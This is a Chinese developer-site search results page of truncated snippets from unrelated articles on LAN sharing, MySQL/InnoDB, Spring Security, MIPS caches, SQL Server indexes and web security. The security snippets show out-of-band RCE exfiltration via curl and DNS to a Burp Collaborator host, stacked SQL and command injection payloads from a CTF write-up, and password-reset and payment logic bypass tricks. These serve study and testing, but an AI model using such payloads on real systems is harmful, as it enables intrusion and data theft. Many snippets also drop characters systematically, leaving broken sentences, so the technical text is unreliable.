首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

第五章:局域网架设+文件夹共享+防火墙配置

网络参数 -> LAN口设置 3、IP地址为路由器的ip,由路由器分配的LAN口IP或wifi的IP都在这个网段上 4、点击 DHCP服务器 -> DHCP服务器,启用就可以动态分配用户IP,启用就只能静态设置用户...1、我们在工作和生活中经常有需要将自己的文件复制给他人或者将他人的文件复制过来的需求。...2、有时候我们使用u盘,有时候我们使用qq或者飞秋等软件,但是u盘和软件并不是万能的,比如没有U盘或者没有安装软件时 3、我们就没有办法进行数据的传输,那么这个时候如果我们在同一个局域网,配置文件共享的优点就显现出来了...3、切换到共享签,点击共享 4、选择Everyone,这里选择Everyone,别人访问就不需要密码,比较方便,如果需要别人输入密码的话,这里选择需要对应的用户即可。...5、找到文件和打印机共享(请求-ICMPv4),查看是否是启用状态 6、如果不是,右键,启用规则,就可以ping通了。  以上就是今天的分享!

51720
您找到你想要的搜索结果了吗?
是的
没有找到

干货 | 京东购物车的Java架构实现及原理!

今天来写一下关于购物车的东西, 这里首先抛出四个问题: 1)用户没登陆用户名和密码,添加商品, 关闭浏览器再打开后 登录用户名和密码  问:购物车商品还在吗?...2)用户登陆了用户名密码,添加商品,关闭浏览器再打开后 登录用户名和密码  问:购物车商品还在吗?  ...所以当用户再次访问(登录),此时Cookie的购物车商品已经被删除了, 所以此时购物车的商品不在了. 3)用户登录, 添加商品,此时商品被添加到数据库做了持久化存储, 再次打开登录用户名和密码,...下面来看下结算的代码: 这里 就是 购物车详情展示页面, 这里需要注意, 如果是同一件商品连续添加, 是需要合并的....) 当我们购买的商品只要有一件是无货的状态, 那么刷新购物车详情页面, 无货的商品状态.  2)当购物车中午商品时, 刷新当前页面.

2.7K10

干货 | 京东购物车的 Java 架构实现及原理!

关闭浏览器再打开后 登录用户名和密码 问:购物车商品还在吗? ...2)用户登陆了用户名密码,添加商品,关闭浏览器再打开后 登录用户名和密码 问:购物车商品还在吗?   ...所以当用户再次访问(登录),此时Cookie的购物车商品已经被删除了, 所以此时购物车的商品不在了. 3)用户登录, 添加商品,此时商品被添加到数据库做了持久化存储, 再次打开登录用户名和密码,...下面来看下结算的代码: ? ? 这里 就是 购物车详情展示页面, 这里需要注意, 如果是同一件商品连续添加, 是需要合并的....1) 当我们购买的商品只要有一件是无货的状态, 那么刷新购物车详情页面, 无货的商品状态.  2)当购物车中午商品时, 刷新当前页面.

1.7K40

MySqlInnoDB表为什么要建议用自增列做主键

B+ 树的特点: 所有关键字都出现在叶子结点的链表(稠密索引),且链表的关键字恰好是有序的; 不可能在非叶子结点命中; 非叶子结点相当于是叶子结点的索引(稀疏索引),叶子结点相当于是存储(关键字)数据的数据层...; 2、主键(PRIMARY KEY) 如果我们定义了主键(PRIMARY KEY),那么InnoDB会选择主键作为聚集索引、如果没有式定义主键,则InnoDB会选择第一个包含有NULL值的唯一索引作为主键索引...这就要求同一个叶子节点内(大小为一个内存或磁盘)的各条数据记录按主键顺序存放,因此每当有一条新的记录插入时,MySQL会根据其主键将其插入适当的节点和位置,如果页面达到装载因子(InnoDB默认为15...(如果身份证号或学号等),由于每次插入主键的值近似于随机,因此每次新纪录都要被插到现有索引得中间某个位置,此时MySQL不得不为了将新记录插到合适位置而移动数据,甚至目标页面可能已经被写到磁盘上而从缓存清掉...《高性能MySQL》的原话 ? ?

3.9K20

InnoDB 存储引擎的锁.

一、锁的类型 InnoDB 存储引擎 lock 的对象是事务,用来锁定的是数据库的对象,如表、、行,并且一般 lock 的对象仅在事务 commit 或 rollback 后进行释放(不同事务隔离级别释放的时间可能不同...Gap Lock 的作用是为了阻止多个事务将记录插入到同一个范围内,因为这会导致幻读问题(phantom Problem)的产生,用户可以通过以下两种方式来式地关闭 Gap Lock: 将事务的隔离级别设置为...允许脏读,隔离事务。 Read Committed 读已提交:不允许脏读,允许不可重复读(即允许第二类更新丢失)。...四、其它 在 InnoDB 存储引擎,参数 innodb_lock_wait_timeout 用来控制等待得时间(默认是 50 秒),innodb_rollback_on_timeout 用来设定是否在等待超时时对进行的事务进行滚操作...因此不管一个事务锁住的一个记录还是多个记录,其开销通常是一致的。

70430

SpringSecurity笔记之helloworld

) 用户名默认为 user 密码在控制台中 修改上面默认的用户名和密码 spring.security.user.name=root spring.security.user.password=123456...authenticated()//都要认证 .and().csrf().disable(); } } 就可以用自定义的页面进行登陆了,此时有一个问题,登陆失败怎么...super.onAuthenticationSuccess(httpServletRequest, httpServletResponse, authentication); } } 自定义登陆失败处理(比如表单...,比如跳转到失败页面或者登陆面 (4)将类放在容器 package com.example.springsecuritydemo.handler; import org.springframework.security.core.AuthenticationException...不同的异常会有不同的信息,比如账号不存在、密码错误(坏的凭证)、账号不可用等等 String message = exception.getMessage(); //将错误信息到登陆

12410

你真的会测试用户登录吗?

页面默认焦点是否定位在用户名的输入框; 19. 快捷键Tab和Enter等,是否可以正常使用。...关注点 测试角度 式功能性需求,指的是软件本身需要实现的具体功能, 比如“正常用户使用正确的用户名和密码可以成功登录”、“非注册用户无法登录”等,这都是属于典型的式功能性需求描述。...登录的情况下,在浏览器中直接输入登录后的URL地址,验证是否会重新定向到用户登录界面; 5. 密码输入框是否不支持复制和粘贴; 6. 密码输入框内输入的密码是否都可以在页面源码模式下被查看; 7....同一用户在同一终端的多种浏览器上登录,验证登录功能的互斥性是否符合设计预期; 11. 同一用户先后在多台终端的浏览器上登录,验证登录是否具有互斥性; 性能压力测试用例包括: 1....滚方案是否考虑 关注点 测试角度 考虑产品功能的式需求、测试用例有效性、测试点是否覆盖全面等 用户角度 重点考虑业务的式功能需求,也会联想到非功能性测试点,会站在用户角度思考产品设计的合理性

83920

带外攻击OOB(RCE无骚思路总结)

由于限定在1个字节,所以我们最多只能控制255个port的连接,255个内网机器(不过同一子网的机器不会超过255J),同样也只能控制255个监听端口,不过这些已经足够了。...    2.1 优点:不出网机器可以传输    2.2 缺点: 1.是一条条执行,需要将回结果拼接解码,信息比较麻烦          2.短可以使用DNS传输,长大部分带出需要...DNS管道解析的扩展,结合php命令执行可以使用这种方式进行,使用sed命令令变长:执行:http://xxx.xxx.xxx.xxx/test.php?...image.png2.第二种命令格式curl http://n7vp17a6r01mzz87orpsa48z9qfh36.burpcollaborator.net/`whoami`image.pngDNS记录...$b.itfjy788hafvu4q8xtf7naktrkxbpze.burpcollaborator.net; doneImage.png这种方式需要每条结果复制粘贴,比较麻烦,但结果还是准确的,

4.9K40

登录注册表单渗透

5、使用双因子验证策略 二、账号/密码可枚举 [高危] 漏洞描述:由于页面对输入的账号、密码判断的不一样,攻击者可以通过差异进行用户名的枚举,拿到账户名来进行弱口令的爆破。 ?...用户名不存在 漏洞修复: 1.增加验证机制,如验证码 2.添加token 3.统一身份验证失败时的响应,用户名或密码错误 三、账号/密码硬编码【高危】 漏洞描述:账号或密码都被硬编码在页面,只需要输入正确用户名...修改号码为ok 现在可以写个小程序对目标进行循环发包,实现短信轰炸 ?...或攻击者更新Cookie的loginErr的值反复提交呢? 程序因为无从获取Cookie/sessionID,会认为攻击者是首次访问,无论什么时候,验证码都不会出现!...如果完成一次校验,标记这个session已失效,就会造成同一验证码反复可用,因此攻击者在cookie带固定的sessionID和固定的一个验证码字符串,即可轻松爆破。

3.2K30

JavaWeb之简单分页查询分析及代码

技术涵盖(JavaWeb、HTML、Ajax、JQuery、Bootstrap ) 接触这一部分知识的时候,我们经常会做一些小Demo来练手,不可避免的就需要接触到一定量的数据,我们常常需要将数据从数据库到页面...我们数据涉及到的问题基本就是上图以及响应数据在表格 ① 响应的数据,自然我们需要 将后端所传来包含 用户信息的 list 集合进行遍历 即 需要接收并处理一个 List集合 ② 总记录数,经后台在数据库查询后给出值...SQL查询 使用 LIMIT进行限制,所以我们需要提供查询 的开始点 以及每次 查多少条,这样才能准确的找到这一 应该是哪些数据被到页面,简单的举举例就能得每一应该从哪里开始查 即:int...//在这里调用具体的功能方法 load(currentPage,pageSize); }); function load(currentPage, pageSize){ //具体的代码...); (3) 用户信息 在HTML 我们使用了 代码拼接的方式实现了这种需求,这个时候返回的 list集合的一个User的数据被遍历显示到我们的表格 ('#userInfo_table tr

2.7K20

登陆面渗透测试常见的几种思路与总结

今天就来简单说一下如何在只有一个登陆面的情况下,来进行渗透测试。...用户名可枚举 此漏洞存在主要是因为页面对所输入的账号密码进行的判断所的数据不一样,我们可以通过这点来进行用户名的枚举,然后通过枚举后的账户名来进行弱口令的爆破。...防御手段的话仅需要将用户名与密码出错的变成一样即可,例如用户名或密码出错。 ?...返回包错误的为{"status":0} 将返回包的东西换成{"status":1} 即可重置密码 ?...验证码前端 有的网站验证码会到前端,只需要抓包即可获得验证码 ? 验证码刷新 验证码不会自动刷新,导致我们可一码多次使用,我们只需要输入一次验证码就可以让我们能够开始进行暴力破解。

4.5K10

MIPS架构深入理解9-向MIPS移植软件之Cache管理

内存的旧数据: 当CPU写数据到Cache行写),数据不会立即复制到内存。稍后,CPU读取数据,直接读取Cache拷贝,一切没有问题。...但是,每次图像帧的访问,都需要失效和写Cache,式地管理Cache。有一些嵌入式CPU,可能会提供一些奇怪但好用的Cache选项,请仔细检查对应芯片的手册。...有些MIPS架构CPU,为了避免式的写操作,配置为直写式Cache。但是,这种方案有一个缺点,直写式Cache会造成总体性能上更慢,也会增加系统的电源功耗。...当然,你也可以通过映射DMA的传输数据区到非Cache内存地址区,避免式的失效和写操作。这也是推荐的一种方式,因为从整体上会降低系统的性能。...当然,也可以选择使用物理地址的某些比特位标记颜色。相同颜色的虚拟地址对应一组Cache。所以,两个虚拟地址想要指向同一个物理地址的数据,必须具有不同的颜色。

1.2K10

SQL Server 重新组织生成索引

随着时间的推移,这些修改可能会导致索引的信息分散在数据库(含有碎片)。当索引包含的的逻辑排序(基于键值)与数据文件的物理排序匹配时,就存在碎片。...OFF 或指定 fillfactor 中间级已填充到接近容量限制。这样将至少为索引可以基于中间的键集拥有的最大大小的一行留出足够的空间。...式的 FILLFACTOR 设置只是在索引首次创建或重新生成时应用。数据库引擎并不会在动态保持指定的可用空间百分比。...如果表位于事务复制发布,则无法禁用任何与主键列关联的索引。复制需要使用这些索引。若要禁用索引,必须先从发布删除该表。...同一时间执行的所有其他联机索引操作都将失败。例如,您不能在同一个表同时重新生成两个索引或更多索引,也不能在同一个表重新生成现有索引时创建新的索引。 有关详细信息,请参阅联机执行索引操作。

2.6K80

Javaweb09-请求跳转项目 分页条件查询 + 增删改 + 邮件登录

int totalCount; //总页数(根据总条数和页面容量) private int totalPage; //分页条件查询的数据 private T data; //...分页对象(指定data的类型,一般 List) 设置 pageSize (必须先放pageSize) 设置 totalCount (再放totalCount),pageSupport计算总页数 创建 数据集合...,放入需要回的数据 查询分页条件查询的 数据集合List 将数据集合放入pageSupport的data 将pageSupport放入request,方便转发后 遍历数据,和 数据 查询角色列表...List callBackInfo = new ArrayList(); //pageSupport 中放入数据 //查询条件 callBackInfo.add(queryName...; }else{ //修改表单的当前 // ("#searchForm").submit(); }); 4、查看详情 携带用户id跳转到用户详情请求 根据用户

1.7K30

精心为你准备的最全的20道Mysql面试题。

服务器首先进行用户名和密码的验证以及权限的校验。 然后会检查缓存是否存在该查询,若存在,返回缓存存在的结果。若是不存在就进行下一步。注意:Mysql 8就把缓存这块给砍掉了。...索引的一个数据的大小是16kb,从磁盘加载到内存是以数据的大小为单位进行加载,然后供查询操作进行查询,若是查询的数据不在内存,才会从磁盘再次加载到内存。 索引的实现有很多,比如hash。...,性能低,所以推荐使用。...MyISAM锁机制 Mysql可以通过以下sql来显示的在事务式的进行加锁和解锁操作: // 式的添加表级读锁 LOCK TABLE 表名 READ // 显示的添加表级写锁 LOCK TABLE...主从复制的原理 MySQL的主从复制和读写分离两者有着紧密的联系,首先要部署主从复制,只有主从复制完成了才能在此基础上进行数据的读写分离。 ?

70020

BUU-WEB-第二章

[SUCTF 2019]EasySQL image.png 我们先输入1,返回有。 image.png 继续测试其它字符,发现输入数字都有,但是如果输入的是字母,则没有。...1.报错注入 1' 输入:1' 没有,应该是存在SQL注入,但是关闭了错误,所以报错注入是行不通了。...1.输入非零数字得到的1和输入其余字符得不到=>来判断出内部的查询语句可能存在|| 2.即select输入的数据||内置一个列名 from 表名=>即为 select post进去的数据||flag...[成功][7] 同理我们刚刚尝试过:1;show tables 同样得到了。 但是show columns from Flag就不行。...当前文件夹下没有flag文件,猜测可能在父目录,使用127.0.0.1;ls ../去查看,一直到127.0.0.1;ls ../../../ 可看到flag文件。

1.3K40

文件系统特殊命令一览表

、 d:\> #1.主要用于进入指定目录 cd \ # 根 cd .....: 翻一只对打开的文件有用对管道无用; q : 退出离开 简单示例 type WIFI.txt | more WeiyiGeek. less 命令 - 一可向前/后显示文件的内容.../E 编辑ACL,而不是替换他 /C 在出现拒绝访问错误时继续 /G 用户名:perm 赋予指定用户访问权限; /R 用户名:取消指定用户的访问权限(通常来恢复被拒绝用户的访问...)-仅在与 /E 一起使用时合法 /P 用户名:perm 替换指定用户的访问权限 /D 用户名:设定拒绝某用户访问;/D pub 设定d:\est.txt拒绝pub用户访问 Perm 可以是: N 无.../deny Sid:perm 式拒绝指定的用户访问权限,将为列出的权限添加式拒绝 ACE,并删除所有式授予的权限的相同权限。

3.7K30

【建议收藏】Mysql知识干货(mysql八股文)汇总

我们知道 InnoDB 会将数据缓存至内存的 buffer pool,所以 insert 语句到了这里并不需要立刻将数据写入磁盘文件,只需要修改 buffer pool 当中对应的数据就可以了。...例子:name(varchar(16)) 组合索引:在表的对个字段组合上创建的索引。并且遵循最左前缀原则匹配。 全文索引:只能在char,varchar,text类型字段上使用全文索引。...元数据锁(MDL) 不需要式使用,在访问一个表的时候会被自动加上。...MDL锁有一些规则 读锁之间互斥,所以可以多线程多同一张表进行增删改查。...mysql默认使用异步复制方式,这样从节点不用一直访问主服务器来更新自己的数据,数据的更新可以在远程连接上进行,从节点可以复制主数据库的所有数据库或者特定的数据库,或者特定的表。

72311

常见逻辑漏洞

支付逻辑漏洞 检测方法与案列 支付漏洞一般分为三类, 支付过程可直接修改数据包的支付金额 开发人员为了方便,导致支付的关键数据,能直接截包查看而重要的金额数据,在后端没有做校验,传递过程也没有做签名...上一步已经得到正确的用户名了,这一步填写自己的邮箱,并且写入正确的邮箱验证码,然后修改uid为上一步的用户即可 跳过服务器验证 通过抓取数据包直接把问题答案删除跳过认证 手机号和验证码未绑定 在登陆面中选择找回密码...,输入自己的手机号,获取一条短信认证码 chrome浏览器在接下来的页面审查元素,将hidden的form中找到自己的手机号,并改为目标手机号即可 本地验证 点击忘记密码,输入用户名admin,选择手机找回...,点击发送验证码,然后不用管,继续随便写验证码,然后下一步,此时抓包并查看包,修改为200即可绕过验证 session覆盖 输入自己的账号,一步步的正常操作,直到修改密码的链接发送到自己的邮箱,...发到邮箱后修改密码的链接不要打开 在同浏览器内打开网站还是忘记密码输入要修改的账号输入完要修改的账号后,一步步正确操作,然后发送修改密码的链接到邮箱(邮箱肯定不是咱的) 这个时候在同一浏览器打开发到我们邮箱的链接

65820
领券